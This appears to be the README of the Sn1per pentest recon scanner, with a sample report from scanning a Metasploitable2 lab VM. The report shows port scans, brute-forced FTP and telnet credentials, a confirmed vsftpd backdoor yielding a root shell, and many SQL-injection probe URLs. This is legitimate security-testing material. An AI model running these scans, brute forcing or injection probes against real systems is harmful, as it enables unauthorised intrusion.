28833dd97a
|
||
|---|---|---|
| bin | ||
| loot | ||
| README.md | ||
| install.sh | ||
| sniper | ||
README.md
- -- --=[Sn1per v1.3 by 1N3
- -- --=[http://crowdshield.com
Sn1per - Automated Pentest Recon Scanner
ABOUT: Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities.
FEATURES:
- Automatically collects basic recon (ie. whois, ping, DNS, etc.)
- Automatically launches Google hacking queries against a target domain
- Automatically enumerates open ports
- Automatically brute forces sub-domains and DNS info
- Automatically runs targeted nmap scripts against open ports
- Automatically scans all web applications for common vulnerabilities
- Automatically brute forces all open services
INSTALL: ./install.sh - Installs all dependencies. Best run from Kali Linux.
USAGE: ./sn1per
SAMPLE REPORT:
____
_________ / _/___ ___ _____
/ / __ \ / // __ / _ / /
( ) / / // // // / __/ /
/// /// ./__//
//
- -- --=[http://crowdshield.com
- -- --=[sn1per v1.3 by 1N3
################################### Running recon ################################# ;; connection timed out; no servers could be reached
Host 113.1.168.192.in-addr.arpa. not found: 3(NXDOMAIN)
; <<>> DiG 9.9.5-9+deb8u2-Debian <<>> -x 192.168.1.113 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 10662 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;113.1.168.192.in-addr.arpa. IN PTR
;; AUTHORITY SECTION: 168.192.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800
;; Query time: 19 msec ;; SERVER: 206.248.154.22#53(206.248.154.22) ;; WHEN: Sun Sep 06 17:06:03 EDT 2015 ;; MSG SIZE rcvd: 114
ARIN WHOIS data and services are subject to the Terms of Use
available at: https://www.arin.net/whois_tou.html
If you see inaccuracies in the results, please report at
http://www.arin.net/public/whoisinaccuracy/index.xhtml
The following results may also be obtained via:
http://whois.arin.net/rest/nets;q=192.168.1.113?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
NetRange: 192.168.0.0 - 192.168.255.255
CIDR: 192.168.0.0/16
NetName: PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED
NetHandle: NET-192-168-0-0-1
Parent: NET192 (NET-192-0-0-0-0)
NetType: IANA Special Use
OriginAS:
Organization: Internet Assigned Numbers Authority (IANA)
RegDate: 1994-03-15
Updated: 2013-08-30
Comment: These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address.
Comment:
Comment: These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers
Comment:
Comment: These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at:
Comment: http://datatracker.ietf.org/doc/rfc1918
Ref: http://whois.arin.net/rest/net/NET-192-168-0-0-1
OrgName: Internet Assigned Numbers Authority
OrgId: IANA
Address: 12025 Waterfront Drive
Address: Suite 300
City: Los Angeles
StateProv: CA
PostalCode: 90292
Country: US
RegDate:
Updated: 2012-08-31
Ref: http://whois.arin.net/rest/org/IANA
OrgTechHandle: IANA-IP-ARIN OrgTechName: ICANN OrgTechPhone: +1-310-301-5820 OrgTechEmail: abuse@iana.org OrgTechRef: http://whois.arin.net/rest/poc/IANA-IP-ARIN
OrgAbuseHandle: IANA-IP-ARIN OrgAbuseName: ICANN OrgAbusePhone: +1-310-301-5820 OrgAbuseEmail: abuse@iana.org OrgAbuseRef: http://whois.arin.net/rest/poc/IANA-IP-ARIN
ARIN WHOIS data and services are subject to the Terms of Use
available at: https://www.arin.net/whois_tou.html
If you see inaccuracies in the results, please report at
http://www.arin.net/public/whoisinaccuracy/index.xhtml
-
* - | || |__ ___ /\ /_ _ _ ____ _____ __| | ___ _ __ *
- | | ' \ / _ \ / /_/ / _` | '_\ \ / / _ / __| / _ \ '| *
- | || | | | __/ / __ / (| | | \ V / _/_ \ || __/ | *
- _|| ||___| / // _,|| _/ _||/____|| *
-
* - TheHarvester Ver. 2.6 *
- Coded by Christian Martorella *
- Edge-Security Research *
- cmartorella@edge-security.com *
[-] Searching in Google: Searching 0 results... Searching 100 results...
[+] Emails found:
1010@192.168.1.113 455264881@192.168.1.113 isaacschneider@192.168.1.113 password@192.168.1.113 58054@192.168.1.113 58055@192.168.1.113 @192.168.1.113 gast@192.168.1.113 k8.bin@192.168.1.113 repl@192.168.1.113 root@192.168.1.113
[+] Hosts found in search engines:
[-] Resolving hostnames IPs...
-
* - | || |__ ___ /\ /_ _ _ ____ _____ __| | ___ _ __ *
- | | ' \ / _ \ / /_/ / _` | '_\ \ / / _ / __| / _ \ '| *
- | || | | | __/ / __ / (| | | \ V / _/_ \ || __/ | *
- _|| ||___| / // _,|| _/ _||/____|| *
-
* - TheHarvester Ver. 2.6 *
- Coded by Christian Martorella *
- Edge-Security Research *
- cmartorella@edge-security.com *
[-] Searching in Bing: Searching 50 results... Searching 100 results...
[+] Emails found:
@192.168.1.113
[+] Hosts found in search engines:
[-] Resolving hostnames IPs...
-
* - | || |__ ___ /\ /_ _ _ ____ _____ __| | ___ _ __ *
- | | ' \ / _ \ / /_/ / _` | '_\ \ / / _ / __| / _ \ '| *
- | || | | | __/ / __ / (| | | \ V / _/_ \ || __/ | *
- _|| ||___| / // _,|| _/ _||/____|| *
-
* - TheHarvester Ver. 2.6 *
- Coded by Christian Martorella *
- Edge-Security Research *
- cmartorella@edge-security.com *
[-] Searching in Linkedin.. Searching 100 results.. Users from Linkedin:
-
* - | || |__ ___ /\ /_ _ _ ____ _____ __| | ___ _ __ *
- | | ' \ / _ \ / /_/ / _` | '_\ \ / / _ / __| / _ \ '| *
- | || | | | __/ / __ / (| | | \ V / _/_ \ || __/ | *
- _|| ||___| / // _,|| _/ _||/____|| *
-
* - TheHarvester Ver. 2.6 *
- Coded by Christian Martorella *
- Edge-Security Research *
- cmartorella@edge-security.com *
[-] Searching in 123People.. Searching 0 results... Searching 100 results... Users from 123People:
[+] Emails found:
No emails found
[+] Hosts found in search engines:
dnsenum.pl VERSION:1.2.3
----- 192.168.1.113 -----
Host's addresses:
Name Servers:
192.168.1.113 NS record query failed: NXDOMAIN Error: no name server (NS) entry for domain 192.168.1.113. exists
- -- --=[Checking for SPF records on 192.168.1.113...
################################### Pinging host ################################### PING 192.168.1.113 (192.168.1.113) 56(84) bytes of data. 64 bytes from 192.168.1.113: icmp_seq=1 ttl=64 time=0.414 ms
--- 192.168.1.113 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.414/0.414/0.414/0.000 ms
################################### Running port scan ##############################
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:06 EDT Nmap scan report for 192.168.1.113 Host is up (0.00044s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) | 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2010-03-17T14:07:45 |Not valid after: 2010-04-16T14:07:45 |ssl-date: 2015-09-05T12:13:03+00:00; -1d08h53m38s from scanner time. 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: | bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) |http-methods: No Allow or Public header in OPTIONS response (status code 200) |http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 |http-title: Metasploitable2 - Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 43932/tcp mountd | 100005 1,2,3 58097/udp mountd | 100021 1,3,4 39515/udp nlockmgr | 100021 1,3,4 41962/tcp nlockmgr | 100024 1 38115/udp status | 100024 1 43758/tcp status 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open tcpwrapped 1099/tcp open java-rmi Java RMI Registry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 43932/tcp mountd | 100005 1,2,3 58097/udp mountd | 100021 1,3,4 39515/udp nlockmgr | 100021 1,3,4 41962/tcp nlockmgr | 100024 1 38115/udp status | 100024 1 43758/tcp status 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: | Protocol: 53 | Version: .0.51a-3ubuntu5 | Thread ID: 100465 | Capabilities flags: 43564 | Some Capabilities: SupportsTransactions, LongColumnFlag, SupportsCompression, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, SwitchToSSLAfterHandshake | Status: Autocommit | Salt: .iHhWW23JWY9Ph9"?Ti3 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: | Unknown security type (33554432) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd | irc-info: | users: 1 | servers: 1 | lusers: 1 | lservers: 0 | server: irc.Metasploitable.LAN | version: Unreal3.2.8.1. irc.Metasploitable.LAN | uptime: 3 days, 21:01:56 | source ident: nmap | source host: C4A81015.78DED367.FFFA6D49.IP | error: Closing Link: nwqhmpvop[192.168.1.111] (Quit: nwqhmpvop) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5 MAC Address: 00:0C:29:0E:B0:99 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results: |nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP | System time: 2015-09-05T08:13:01-04:00
TRACEROUTE HOP RTT ADDRESS 1 0.44 ms 192.168.1.113
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.83 seconds
################################### Running Intrusive Scans ########################
- -- --=[Port 21 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:06 EDT Nmap scan report for 192.168.1.113 Host is up (0.00033s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-brute: | Accounts: | user:user - Valid credentials | Statistics: Performed 1951 guesses in 602 seconds, average tps: 3 | ftp-vsftpd-backdoor: | VULNERABLE: | vsFTPd version 2.3.4 backdoor | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2011-2523 OSVDB:73573 | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04. | Disclosure date: 2011-07-03 | Exploit results: | Shell command: id | Results: uid=0(root) gid=0(root) | References: | http://osvdb.org/73573 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 603.82 seconds
- -- --=[Port 22 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:16 EDT Nmap scan report for 192.168.1.113 Host is up (0.00018s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
- -- --=[Port 23 opened... running tests...
Using config file torch.conf... Loading include and plugin ...
###############################################################
Cisco Torch Mass Scanner
Becase we need it...
http://www.arhont.com/cisco-torch.pl
###############################################################
List of targets contains 1 host(s)
15268: Checking 192.168.1.113 ...
HUH db not found, it should be in fingerprint.db
Skipping Telnet fingerprint
*** Found TFTP server
HUH db not found, it should be in tfingerprint.db
Skipping tftp fingerprint
--->
- All scans done. Cisco Torch Mass Scanner - ---> Exiting.
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:17 EDT Nmap scan report for 192.168.1.113 Host is up (0.0021s latency). PORT STATE SERVICE VERSION 23/tcp open telnet Linux telnetd | telnet-brute: | Accounts: | user:user - Valid credentials |_ Statistics: Performed 2069 guesses in 603 seconds, average tps: 3 | telnet-encryption: |_ Telnet server does not support encryption MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 604.67 seconds
- -- --=[Port 25 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:27 EDT Nmap scan report for 192.168.1.113 Host is up (0.00052s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd | smtp-brute: |_ ERROR: Failed to retrieve authentication mechanisms form server |smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | smtp-enum-users: | Method RCPT returned a unhandled status code. |smtp-open-relay: Server doesn't seem to be an open relay, all tests failed | smtp-vuln-cve2010-4344: | The SMTP server is not Exim: NOT VULNERABLE MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: Host: metasploitable.localdomain
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.65 seconds ERROR: Can't open username file BruteX/simple-users.txt: No such file or directory
- -- --=[Port 53 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:27 EDT Nmap scan report for 192.168.1.113 Host is up (0.0016s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: Host: metasploitable.localdomain
Host script results: |_dns-brute: Can't guess domain of "192.168.1.113"; use dns-brute.domain script argument.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds
- -- --=[Port 80 opened... running tests... console.error: [CustomizableUI] Custom widget with id loop-button does not return a valid node
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 17:27 EDT
Nmap scan report for 192.168.1.113
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.113
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.113/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/passwd/TWiki/WebHome
|
| Path: http://192.168.1.113/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/passwd/Main/WebHome
|
| Path: http://192.168.1.113/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/edit/TWiki/
|
| Path: http://192.168.1.113/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/view/TWiki/TWikiSkins
|
| Path: http://192.168.1.113/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/manage/TWiki/ManagingWebs
|
| Path: http://192.168.1.113/mutillidae/./index.php?page=register.php
| Form id: id-bad-cred-tr
|_ Form action: index.php?page=register.php
|http-dombased-xss: Couldn't find any DOM based XSS.
|http-drupal-modules:
| http-email-harvest:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.113
| webmaster@your.comp
| name@domain.com
| secondary@home.com
| SomeWikiName@somewhere.test
| a@z.com
| Peter@Thoeny.com
| you@yourdomain.com
| http-enum:
| /tikiwiki/: Tikiwiki
| /test/: Test page
| /phpinfo.php: Possible information file
| /phpMyAdmin/: phpMyAdmin
| /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
| /icons/: Potentially interesting folder w/ directory listing
| /index/: Potentially interesting folder
|_http-feed: Couldn't find any feeds.
|http-frontpage-login: false
| http-headers:
| Date: Sat, 05 Sep 2015 12:34:28 GMT
| Server: Apache/2.2.8 (Ubuntu) DAV/2
| X-Powered-By: PHP/5.2.4-2ubuntu5.10
| Connection: close
| Content-Type: text/html
|
| (Request type: HEAD)
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-php-version: Versions from logo query (less accurate): 5.1.3 - 5.1.6, 5.2.0 - 5.2.17
| Versions from credits query (more accurate): 5.2.3 - 5.2.5
|_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.10
|_http-referer-checker: Couldn't find any cross-domain scripts.
|http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.1.113/dav/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=N%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp&do=toggle%2dhints%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp&do=toggle%2dsecurity%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=php%2derrors%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=usage%2dinstructions%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=notes%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dpoll%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=D%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=S%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.113/dav/?C=M%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=installation%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=documentation%2fvulnerabilities%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=browser%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?username=anonymous&page=password%2dgenerator%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=home%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=dns%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=captured%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=documentation%2fhow%2dto%2daccess%2dMutillidae%2dover%2dVirtual%2dBox%2dnetwork%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=view%2dsomeones%2dblog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=arbitrary%2dfile%2dinclusion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=framing%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=secret%2dadministrative%2dpages%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=set%2dbackground%2dcolor%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=change%2dlog%2ehtm%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=capture%2ddata%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=credits%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=site%2dfooter%2dxss%2ddiscussion%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=source%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=user%2dinfo%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=text%2dfile%2dviewer%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=html5%2dstorage%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./?page=show%2dlog%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=register%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=pen%2dtest%2dtool%2dlookup%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/././index.php?page=login%2ephp%27%20OR%20sqlspider
| http://192.168.1.113/mutillidae/./index.php?page=add%2dto%2dyour%2dblog%2ephp%27%20OR%20sqlspider
